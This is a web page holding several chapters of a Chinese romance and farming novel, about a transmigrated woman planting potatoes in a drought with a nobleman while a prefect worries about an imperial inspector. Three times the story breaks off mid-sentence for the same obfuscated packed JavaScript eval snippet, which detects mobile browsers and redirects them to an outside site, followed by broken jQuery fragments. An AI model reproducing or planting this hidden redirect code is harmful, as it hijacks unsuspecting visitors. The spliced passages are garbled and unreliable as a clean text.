叶容容走向蒋成晏。他正站在走廊上,负手等着她。 唯独小五眼尖,悄悄捅了捅小六的胳膊,朝走廊那边努了努嘴。两人对视一眼,露出一个心照不宣的笑。 ——主子怎么对叶姑娘这般上心? ——就是,主子可从没单独叫过我。叫我过去准没好事,不是挨骂就是挨罚。 ——那是你该。 两人靠着默契,用眼神你来我往地交流了一番,手上活计却没停。 蒋成晏见叶容容走近,开口道:“叶姑娘,我正巧要往京城带信。你之前不是说去京城寻亲么?可有什么凭证?我让家里人先帮你打听着。” 叶容容没想到他叫住自己竟是为这事。她原以为蒋公子只答应带她去京城,不曾想还愿意额外帮忙,一时间感激不尽,连忙道谢:“多谢蒋公子。我母亲留了一封信,我这就去找来。” 蒋成晏微微颔首。 叶容容小跑回房间,打开随身的包袱。里面有一封火漆封好的信,是原主的母亲托付给刘婆子让带去京城的。眼下刘婆子已死,寻亲的事便全指着这封信了。 她拆开信封,里面写着薛府许家婆子亲启几个字。信的内容不长,无非是原主母亲的歉意和托付,请许婆婆照看叶容容,在京城给她一个安身之处。若实在不便,便让她回老家去。 叶容容读完,整个人愣住了。 原来自己只是许婆子的一个远房后辈?这亲还有必要去寻?自己一路千辛万苦往京城赶,还有意义吗? 她原以为原主家境还算殷实,毕竟原主母亲饱读诗书,在村里连体力活都不做,靠教小孩《三字经》和代写书信就能维持温饱。没想到,竟只是这般光景。 一时间,巨大的无力感涌上来。她蹲下身,抱着膝盖,不知道自己这一路走得对不对。 蒋成晏在走廊上等了许久,不见叶容容出来。他皱了皱眉,抬脚走到她房间门口。门没关,他也不便直接闯入,只在门框上轻轻叩了两下。 “叶姑娘,你在吗?” 叶容容听见声音,赶忙站起来,抹了抹眼角,应道:“我在,马上出来。”她拿起信,深吸一口气,推门走了出去。 蒋成晏目光敏锐,一眼便看出她神色与方才判若两人,眼底藏着失落,嘴角却勉强挂着笑。 他从不曾安慰过谁,此刻也寻不出什么妥帖的话,只硬邦邦地开口:“叶姑娘,我是托我母亲的嬷嬷私下帮你打听。若姑娘觉得不妥,便作罢。等日后回了京城,我再带你亲自上门去寻。” 叶容容看着他。 这个素日里冷漠疏离的男人,此刻竟在用一种笨拙的方式照顾她的感受。她心头一暖,失落倒是消了几分。 她思索片刻,道:“我母亲只留下这封信,让我去薛府找一位许家婆子。公子若方便,帮我问问便是。若没有交集,等回了京城,我再去登门拜访。” 薛府?蒋成晏心下微动。 他只知道一个薛府,莫不是首辅家?他垂眸思量片刻,才道:“叶姑娘何不仿照令堂的笔迹,另抄一份信件?我让人去打听。若不是,也不会糟蹋了令堂的亲笔。” 这个法子好。叶容容连忙道谢,转身回屋研墨抄信。 蒋成晏没有离开,依旧站在门外等着。他平生第一次对一个人生出几分怜惜。 他猜想,叶姑娘大抵是那位婆子的远房亲戚。俗话说,宰相门前七品官,谁家还没几门穷亲戚呢。 就算寻不着,凭她的手艺和本事,也绝不是池中之物。大不了,他出钱安置便是。 叶容容不知道蒋成晏还在门口等着。她反复读了原信,确实没什么有用信息,翻来覆去不过是道歉和托付。她只好尽量模仿原主母亲的笔迹,一笔一划地临摹。 模仿别人的字迹颇费工夫。待她写完、吹干、折好,已经过去好一阵了。 她揣着信推开门,一抬头,正对上蒋成晏的目光。 “蒋公子,你……一直在等我?”叶容容有些愧疚,自己耽误了这么久,让人久等了。 蒋成晏没说话,只微微点了点头。 叶容容赶忙递上抄好的信。蒋成晏接过去,收进袖中,转身离开了。 叶容容站在门口望着他的背影,片刻后深吸一口气,抬脚往后院走去。那边的收尾工作,不知做得怎么样了。 自从叶姑娘随自家主子离开之后,众人虽满腹疑惑,手里的活儿却未曾停下。 他们飞快地将最后一点收尾工作做完。 待叶容容回来时,映入眼帘的已是两块整整齐齐的土地,被锄头翻过一遍,土壤显得疏松透气。他们还煞有介事地用竹竿搭了遮阳棚,又打了井水,将土地浇得透透的。 众人正四散在走廊上歇息,见叶容容走过来,纷纷热情地打招呼。 “叶姑娘来了。” “叶姑娘快瞧瞧,我们做得对不对?若有不到之处,还可以改。” 叶容容围着那两块地走了一圈,边走边看,嘴里毫不吝啬地赞叹:“你们做得太好了。若只我一人,怕是两天也弄不完。大家一起动手,一日便成了。” 众人听了这话,嘴上虽说着“举手之劳”,心里却是欢喜的,自己的辛苦得了认可,谁不高兴呢? 这时,写完信的蒋成晏也来到了后院。他扫了一眼那两块规整的土地,心下微微讶异。 他手下这群人,几时还有这般模样? 他轻咳一声。 随从们听见动静,扭头一看,纷纷寻了由头开溜。 “哎呀,我的马还没喂,公子我先走了。” “我衣裳破了,回去补一补……” 七嘴八舌,一群人眨眼间便跑得干干净净,只留下叶容容和蒋成晏两个人。 因着方才寻亲的事,叶容容对蒋成晏倒少了几分拘束,竟拿他开起玩笑来:“蒋公子好比那狼来了,您一来,他们全吓跑了。” 蒋成晏被她这俏皮话逗得嘴角微扬,旋即又收了回去,淡淡道:“确实。比起我,他们更愿与温柔的叶姑娘待在一处。” 叶容容被他这么一说,脸颊微微泛红,连忙转移话题:“蒋公子,咱们前期的准备算是做完了。接下来只等土豆长出绿叶,再移栽到田里去。这儿地方太小,不适合长久种。” 蒋成晏算是看出来了,说起这些,叶容容便头头是道,半点不含糊。他点点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463686|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “依叶姑娘之见,咱们何时去看田?” 叶容容显得很积极:“我随时都行,看公子方便。” “先让小五去勘察一番,咱们后面再过去定。”蒋成晏道。 叶容容听了,立刻便要去找小五。 蒋成晏见她这般风风火火的模样,眼中闪过一丝不易察觉的笑意,开口唤住她:“急什么?小五又不会跑。叶姑娘多歇息一会儿吧,中午的手艺,着实不错。” 叶容容听出他话里的意思,便问道:“那晚上还是我来掌厨。蒋公子可有什么忌口?” “没有。”蒋成晏道,“缺什么,只管让他们去买便是。” 叶容容便与他告辞,转身去寻人了。 留下蒋成晏一人在走廊上。他也绕着那两块新翻的土地走了一圈。 所有事都安排得井井有条。不知怎的,他心里忽然生出一种念头:在这里住些日子,倒也不错。 却说小六。因蒋成晏没有别的吩咐,他便回了自己房间。他挽起裤脚,露出膝盖,又红又肿,皮都磨破了一层。他办事不力,公子虽未多加苛责,他自己却在石板上硬生生跪了一个时辰。 忽然,门被人敲响了。咚咚咚。 “谁?”小六赶忙将裤腿放下来。 “小六哥,是我。”门外传来苗苗的声音,细声细气的。 “进来吧。”小六松了口气。 苗苗端着一盆热水进来,轻声道:“小六哥,今日见你走路时腿脚不太利落,我给你打了盆热水。敷一敷,会好些。” 小六心里一暖,感激道:“麻烦你了,苗苗。你真是贴心。” 苗苗被他这一夸,耳朵根子都红了。她把热水放好,丢下一句“你好好歇着”,便转身跑了出去。 小六在后面喊:“不坐一会儿么?” 没人应他。 隔壁的小五探出头来,见苗苗红着脸跑远,便踱步过来,随口问道:“坐什么?谁要坐?” 小六不接话,自顾自地拧了热毛巾敷在膝盖上。 小五凑近瞧了一眼那红肿的膝盖,啧啧两声:“你对自己可真够狠的。公子让你自己领罚,你意思意思不就完了?” 小六不理他的幸灾乐祸,将毛巾敷好,往床上一躺,闭着眼道:“我自己犯了错,该罚。” 小五收起嬉皮笑脸,拍了拍他的肩:“别说弟弟不疼你。公子方才让人去城外察看田地,我替你去。再给你捎些吃的回来,补补身子。” “谢了。”小六闭着眼,低声应了一句。 远在府台的知府大人,此刻正在书房里听取下属的禀报。 他听得漫不经心,一边品着茶,一边享受着冰山散出的凉气。天气炎热,他的书房里特地摆了一座冰山降温。 听到“钦差已经到了羌兀县”时,他放下茶杯,冷哼一声:“那个老徐,惯会卖惨。这方圆八百里,又不独他一个县遭了灾。随他去。” 他轻轻抿了一口茶,又问:“这次的钦差,是哪位大臣?” “好像是……蒋国公家的蒋公子。” “什么?”知府的茶杯重重磕在桌上,整个人猛地站了起来,“怎么现在才说!” 12. 让人胃口大开的晚饭 下属赶忙跪下请罪:“属下该死。” 知府气得暴跳如雷,背着手来回踱步:“该死有何用?早做什么去了?” 走了两步,仍觉胸中气闷难平,摆摆手道:“滚下去。” 下属如蒙大赦,慌忙告退。 知府走到书桌前,抽出信纸,提笔写信。他原以为此次不过是内部例行巡查,不曾想朝廷竟派了武将来查,这分明是对地方官员起了疑心。 旁人倒还好应付,这位蒋公子出身将门,要钱有钱,要势有势,寻常手段怕是难以打动。况且蒋国公在朝中根基深厚,若真得罪了他,只怕自己这顶乌纱帽都保不住。 他略一沉吟,三笔两画写好信件,用火漆封了口,唤道:“管家。” 管家悄无声息地出现在门口。知府将信递过去,神情极其严肃:“尽快将此信寄出。再收拾一下,我明日或后日要去受灾各县走一趟。” 啊?慰问?管家心下疑惑,面上却不露分毫,只应了一声:“遵命。” 管家接过信退下后,知府仍坐在书桌前,一言不发地沉默了许久。他反复思量着应对之策,手指无意识地敲击着桌面,发出沉闷的声响。直至冰山化尽,额上沁出汗珠,他才回过神来。 他拭去额汗,起身离开书房。门口候着的小厮忙垂手侍立。知府问道:“夫人现在何处?” “夫人应是在教少爷功课。” “告诉她,我今晚去她那边。” “遵命。” 微胖的知府夫人正在教孩子写字。听到下人通传,她只挥了挥手,示意小厮退下,莫要打扰孩子练字。 小公子听说父亲晚上要来,激动得抬起头:“母亲,我可以一直待到晚上么?我许久未见父亲了。” 夫人温柔地摸了摸孩子的头:“自然可以。我们孩子最是优秀,你父亲见了你写的字,定会夸赞的。” 只是她语气虽温柔,面色却淡淡的,眉宇间隐隐多了几分落寞。她心里清楚,丈夫此番前来,多半不是为了孩子,而是另有所图。 孩子浑然不觉,只顾着欢喜。 天色渐暗,晚饭时辰将至。 中午那顿饭给众人留下了极深的印象,人人都在揣测晚饭还会有何等惊喜。 小五头一回采买食材,见什么都想买,结果堆了满满一厨房。 叶容容大致检视了一番,食材颇为丰富,心中立刻盘算出两道大菜。 虎皮肘子、红烧肉,最后再加一碗解腻的汤。 她拿起从孩童手中买来的野果,空口尝了一颗,酸得眉头紧皱。正好,就用这野果煮个汤罢,酸酸的开胃。 小五接替了小六烧火的差事,全神贯注地往灶膛里添柴。他虽不善厨艺,烧火倒是把好手,火候掌握得恰到好处。 热油烧至微微冒烟,叶容容便将肘子和整块五花肉滑入锅中。热油触及肉块的瞬间,噼啪作响,油花四溅,香气也随之弥漫开来。 待肉皮由肉色转为焦褐,叶容容眼疾手快地将肉捞出,放入早已备好的凉水盆中冷却。 不多时,肘子表皮便浮现出好看的虎皮纹,纹路清晰,色泽金黄,看着便让人食欲大增。 烧火的小五看得目瞪口呆,香,实在太香了。若早遇上叶姑娘,他们何至于啃那么久的干粮。他忍不住深吸了一口气,恨不得把这香气全吸进肺里。 油炸的香气最是直击味蕾。那些假装在院中闲坐、实则偷偷蹲守在厨房门外的众人,早已闻香而动,一个个伸长了脖子往厨房里张望。 “叶姑娘这手艺,当真了得。” “日后离了叶姑娘,咱们可如何是好……” 叶容容捞出泡出虎皮的肘子,置于小锅中以小火慢炖。五花肉则切成小块,入热油锅爆香,煸出油脂,而后猛然加水。 整锅顿时沸腾,噼啪之声混着五花肉天然的脂香,弥漫开来,连前院都闻得到。 烧火的小五不争气地咽了口唾沫。真香啊,光闻而不能食,简直是种折磨。 等待的时光总是漫长。所幸,美味经得起煎熬。 叶容容拍了拍手,宣布可以开饭。一旁守候的众人一拥而上,端着碗争先恐后,生怕落后于人。 一时间饭桌上热闹非凡。这个时代的人对猪肉的做法尚少创新,更遑论先炸后炖这般降维打击的技艺。那虎皮肘子入口即化,肥而不腻;红烧肉色泽红亮,甜咸适口;野果酸汤清新解腻,恰到好处。 面对如此美味,言语反倒成了亵渎。众人只恨不能多生一张嘴来大快朵颐,连平日最讲究仪态的随从也顾不得形象,吃得满嘴流油。 蒋成晏已见识过叶容容的手艺,却未料到平平无奇的猪肉也能做得如此出彩。他平日不甚喜猪肉,嫌其腥膻油腻。 可这道菜入口的刹那,他对猪肉的成见竟烟消云散。肉皮微脆,五花肥而不腻,回味带着一丝咸香。 便是宫中御膳房,怕也难出其右。他不禁多看了叶容容两眼,这女子身上的秘密,当真层出不穷。 一顿饭毕,蒋成晏竟又食之过饱,腹中微微发胀。他的下属们亦不遑多让,险些为争夺盘中最后一块肉而争执起来,最后还是小五眼疾手快抢了去,惹得众人一阵笑骂。 眼见属下们这副模样,蒋成晏面上不动声色,心下却觉有几分失仪。他轻咳一声,属下们这才回过神来,讪讪地端着空碗筷小跑着去厨房收拾。 天色已晚,叶容容起身向蒋成晏告辞。 方才承了人家的情,蒋成晏叫住她:“叶姑娘,我的信已寄出。姑娘且宽心,不论京中是否有此人,我对姑娘的承诺始终不变。” 闻得蒋成晏这般郑重其事的许诺,叶容容心头一暖,向他福了一礼:“多谢公子。” “不必客气。”蒋成晏微微颔首,目送她离去。 叶容容带着满腔暖意回了房间。 苗苗虽听众人说不必她操心厨房,仍担心那些粗手粗脚的人收拾不净,便跟了上去。 行至厨房门口,却被小五拦住:“苗苗,你去歇着吧,这些活儿我们应付得来。”小五站在门边劝道,“小六腿脚不便,我们也没让他沾手。你白日里辛苦了,早些安置罢。” “好吧好吧。”苗苗被他劝了回去。 路过小六房间时,她想问问小六伤势如何,忽又想起天色已黑。 孤男寡女独处,恐惹人闲话。她不过是个丫鬟,小六一看便非寻常之人,还是作罢。 她望了一眼小六房中透出的灯光,默默离去。 房间里,叶容容已收拾妥当准备躺下,见苗苗才回来,随口问道:“你去哪儿了?” 苗苗未提路过小六房间之事,只道:“我想去厨房帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463687|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙,他们把我劝回来了。” 叶容容躺下来:“他们人都挺好,让你歇着便歇着吧。早些睡,明日还要去城外。” 苗苗轻声应了,吹灭了灯。 天刚擦黑,丫鬟们端着一道道菜品,流水般送入房中。 知府夫人望着满桌菜肴,微微蹙眉:“太多了,浪费。” 贴身丫鬟笑嘻嘻地上前挽住她的手臂:“大人难得来一趟,夫人可要认真些才是。” “就是就是。”小公子见满桌都是自己爱吃的菜,眼睛瞪得溜圆,馋涎欲滴。平日母亲管束甚严,不许他一餐品尝过多花样,今日一下子来了这么多,他眼睛都看直了,恨不得每样都尝上一口。 夫人轻轻叹了口气,也罢。瞧着孩子眼馋的模样,她开口道:“大人还未到么?差人去请。” 丫鬟尚未应声,门外已传来动静。 “我来迟了。”知府换了一身常服,踱步而入。 夫人未曾起身相迎,见他到了,只淡淡吩咐开饭。 这一顿饭吃得甚是欢洽。小公子向父亲讲述了许多读书的趣事,父亲一一笑着回应,还不时为他布菜。饭后又带他练了一会儿字,父子俩难得这般亲近。 直至夜色深沉,才命乳母将孩子带回去安寝。 知府夫人从头至尾甚少言语,却也不曾扫兴,只微笑着看孩子享受与父亲难得的亲近时光。只是那笑意始终浮在面上,未曾抵达眼底。 待孩子离去,她脸上的笑意便如潮水般退去。她沉默地坐在梳妆台前,卸下首饰,一件一件,动作缓慢而机械。 知府坐在椅子上自斟自饮。丫鬟欲上前伺候,被他挥手屏退:“都下去罢。” 知府夫人闻得此言,亦无甚反应,只继续卸妆,仿佛屋里只有她一人。 “夫人没有什么要问的么?”知府放下酒杯,率先开口。 “没有。”她语气平淡,连头也未回。 知府听了也不恼怒,自顾自呷了一口茶,缓缓道:“今日来了信。钦差到县上查旱灾了。” 闻听此言,知府夫人手中动作一顿,随即又继续卸妆。她心中那悬着的靴子终于落了地,略带嘲讽道:“大人爱民如子,钦差能查出什么来?大人不用担心。” 知府将茶杯重重搁在桌上,茶水溅了出来:“你现在说这些,除了顶撞我,还有什么用!” 夫人转过脸来,定定地望着她的丈夫,目光里带着几分冷意。她知他今夜前来所为何事,不过是觊觎她娘家的势力罢了。 “大人见谅。”她垂下眼帘,声音不辨喜怒。 知府走上前,一把攥住夫人温润如玉的手,“谁知道这次是不是雷声大雨点小?夫人还是早些写信问问外公家,早做准备罢。” 言毕,也不待夫人回应,转身便走,袍角带起一阵风。 “大人这么晚了,回哪里?”门口候着的小厮问道。 “回书房。” 听得脚步声渐渐远去,知府夫人终于撑不住,双手掩面,低声啜泣起来。泪珠从指缝间滑落。 贴身丫鬟悄无声息地走进来,默默递上帕子,什么也没说,只静静站在一旁。 夫人默默哭了一阵,渐渐收了声。她接过帕子拭去泪痕,深吸一口气,吩咐道:“研墨,我要写信。”语气已恢复如常,听不出方才哭过的痕迹。 13. 情急之下 天色微微亮的时候,叶容容便醒了。她睁眼望向窗外,辨不出时辰,下意识地想摸手表,才恍然意识到,自己早已不在那个时空了。 难得有一回苗苗还未睡醒。叶容容仔细打量起这个陪她一路逃荒的小丫鬟。 瘦瘦小小的一个姑娘,毫无怨言地跟着她走了这么远。想到这里,叶容容心里满是感激。 她小心翼翼翻身下床,动作极轻,想让苗苗多睡一会儿。果然,苗苗未被惊醒。 下床后,她隐约听见外头有动静,便推开窗户向外望去。 原来他们早已起身,正在晨练。一招一式,力道十足,即便手里只是一根树枝,也被使得虎虎生威,与寻常兵器无异。 正在监督众人的蒋成晏察觉到有目光落在自己身上,循着望过去,正看见叶容容从窗后探出头来。 叶容容与他对视,便朝他露出一个浅浅的笑。 蒋成晏从未有过这般经历,下意识想回一个笑,可嘴角还未扬起,叶容容已把窗户关上了。 离他最近的小五最先瞧见这一幕,心里一惊。 大人这是怎么了?那笑容瞧着怪瘆人的。他试图用眼神示意同伴,还没来得及,便被蒋成晏察觉了。 蒋成晏一个眼风扫过来,小五立刻敛了神色,再不敢造次。 房间里,苗苗已经醒了。她见叶容容站在窗边,随口问道:“小姐,你在看什么?” 叶容容放下窗户,转过身来:“蒋公子带着他们在晨练呢。你醒了?我等会儿去后院看看昨天种的土豆。” “可是昨天才种下去,今天能看出什么来?” 叶容容笑了笑:“看不出来什么,不过是图个心安罢了。” 清晨的后院,还不似午间那般炎热。 叶容容欣喜地看着这片土地上。 她来到这个异世界后,亲手种下的第一份希望。 因昨日搭了遮阳棚,土壤未被晒得过干。她蹲下身,抓起一把泥土,握在手里细细感受湿度。又抬头看了看天色,估摸着今日日头不会太毒。 走到井边,打了一桶水上来,只薄薄浇了一层,生怕水多了反倒坏了土豆发芽。 做完这些,她又绕着地走了一圈,这才满意地离开。 太阳渐渐升高,晨练也结束了。众人纷纷来到大堂用饭。 小五趁机汇报了昨日去城外探查的结果。因旱情严重,城中许多人举家外迁,城外大片良田都在低价抛售。 只是缺水,大部分田地已不适合耕种。究竟如何,还得亲自去看过才能定夺。 蒋成晏听完,微微颔首,对小五这番差事颇为满意。他一锤定音:“用完早饭,便去城外看看。” 众人这才依次落座,享受一日中难得的闲暇时光。 饭后,几个随从上前向蒋成晏请示。蒋成晏点了点头,他们便各自离去。 未等叶容容开口询问,蒋成晏已主动道:“他们另有差事。只我们几个去城外。” 叶容容有些意外,蒋成晏竟会主动告知她这些。她看了他一眼。 蒋成晏似乎未曾察觉她的目光,径直走了出去。 城外的景象,比小五描述过的还要荒凉几分。 到处是干涸龟裂的土地,田里尽是枯死的庄稼。靠近水井的地方稍好一些,却也见不到多少活物。无人打理的田地,在燥热的风中扬起带着灰尘的热浪,扑面而来。 叶容容站在田埂上,环顾四周,不由得叹了口气。 蒋成晏看出她的为难,低声问道:“叶姑娘,有何难处?” 叶容容没有立刻回答。她蹲下身,抓起一把泥土细细端详,甚至凑近鼻尖闻了闻,这才道:“还是老问题,缺水。土壤肥力倒是不差,只要有水源,很快便能种出东西来。” 种地这事,确是蒋成晏的盲区。好在他从不瞎指挥。他略一沉吟,只道:“叶姑娘若有需要,随时告诉我。凡我能办到的,定不推辞。” 叶容容道了谢,又转身去察看田地。 土壤肥力没有问题。土豆相对耐旱,可也不能完全无水。她顺着田埂一路往前走,试图找到破局之法。 行至一口水井旁,她停下脚步,俯身打量,又将头探入井口,细察水量。 出乎她的意料,她本以为这井早已干涸,不想里头竟还有一点水。虽只够人喝,远不够浇地,但至少说明此地地下水尚未枯竭。 若能再挖深一些,或者多打几口井…… 撑过这个旱季,等一个月后土豆丰收,便可以大面积推广了。 想到这里,叶容容兴奋起来,最难的一步,总算找到了法子。 “蒋公子,你快看……”她激动地转身叫人,这才发现自己跑得太急,早已将他们甩在了后头。 她赶紧往回跑。 蒋成晏其实看见了她加快脚步的样子,却没有跟上去。他明白,那种全神贯注的状态最忌旁人打扰。好心插上一脚,反倒坏了人家的事。 他的目光追着叶容容的背影,自己寻了处树荫躲日头,顺带和树下乘凉的老伯闲谈起来。话题绕着县令打转,有一搭没一搭的。 老伯靠在树干上,被蒋成晏搭了话,也不抱怨,只是平平淡淡地讲:“县令挺好,不贪。不像前头几任,恨不得把我们骨头都榨出油来卖了。” “不怪旁人,只怪老天不下雨。老天不给活路,怨谁呢?” …… 蒋成晏听在耳中,心里便有了数。 正说着,他看见叶容容朝这边跑来。 阳光下,叶容容逆着光奔跑,身上仿佛镀了一层淡金色的柔光。他第一眼便注意到她那亮晶晶的眼睛,里头满是生机,与她目光相接的一瞬,连周身的疲惫都消散了几分。 她越跑越近,带着一股能感染人的朝气。亮晶晶的眼睛,微微沁出汗珠的额头…… 蒋成晏一时怔住了,连她唤他都未曾听见。 “蒋公子!蒋公子!” 蒋成晏回过神来,略一垂眸,随即抬起:“抱歉,叶姑娘。你如此匆忙,可是发现了什么?” “我寻到一口水井。”叶容容道,“想问问,能不能雇人再挖深一些?或者在那附近再打一口新井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463688|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 蒋成晏闻言,心下松了口气,还以为是什么大事。“可以。只是……”他顿了顿,“我并未看见水井。” 三言两语说不清楚。叶容容情急之下,伸手便去拉蒋成晏。 蒋成晏偏凉的手掌被一只温暖的手握住,他微微一怔,竟忘了抽开,任她拉着自己跑了出去。 今日跟来的是沉默寡言的初一。小五小六另有差事,未曾随行。 初一看见自家主子被一个女子拉着手跑开,难以置信地揉了揉眼睛。他记得自己眼神极好,射箭比试时常拿前三甲的。 这……这是幻觉么?拉主子的手,主子竟没有甩开? 叶容容拉着蒋成晏一口气跑到水井边,这才意识到自己竟在大庭广众之下牵了他的手。 她连忙松开,连连道歉:“抱歉抱歉,是我唐突了。” 蒋成晏收回手,语气没什么起伏:“叶姑娘情急所致,我不介意。” 只是那渐渐泛红的耳根,到底还是出卖了他。 叶容容并未注意到他泛红的耳根,因为自己也正羞得不行。她一时忘了身处何地,还以为是在现代,随手便拉了异性的手。 她赶紧岔开话题:“是我冒失了。蒋公子请看,就是这口水井。” 蒋成晏也有些窘迫,借着看井的由头,稍稍拉开了与她的距离。 他俯身朝井中望去,并未看出什么特别之处,便看向叶容容,等她开口。 叶容容一说到自己擅长的领域,眼神便不一样了:“据我观察,此地的土壤肥力尚可,症结只在缺水。我原以为处处都已干涸,但这口井里竟还有水。而且挖得不算深便有水,说明此处地下水源并未枯竭。” 她顿了顿,继续道:“眼下有两个法子。其一,将现有水井再挖深一些;其二,另打一口更深的新井。只是这花费……” 蒋成晏听明白了她的顾虑,不假思索道:“叶姑娘只管放手去做。挖井的事,我来安排。” 听到蒋成晏又一次毫无保留地支持自己,叶容容心中感激不尽。 “有了这口水井,我们很快便能走上正轨。” “我自然信得过叶姑娘。” 二人很快商定了方案,只等寻到此地田主,或租或买,便可动手了。 蒋国公府。 信鸽脚程极快,国公夫人已收到了蒋成晏的信。 她用小刀轻轻裁开信封,倒出里头的信笺。一封是给国公爷的,她递给小厮,命人送到前院去。 一封是给自己的。 咦?怎么还有一封?上头写着“王嬷嬷亲启”。王嬷嬷是她的陪嫁婆婆,成晏那孩子自幼与她亲近,可写信给她,这还是头一回。 国公夫人虽心中好奇,仍恪守贵女的教养,不曾拆看,只唤了王嬷嬷过来。 “成晏给你写了封信。” 王嬷嬷接过信,满腹疑惑地拆开。 国公夫人到底没忍住,等到王嬷嬷读完信,问道:“成晏信上说了什么?” “啊……这……”王嬷嬷一脸为难的样子,不知道该不该说。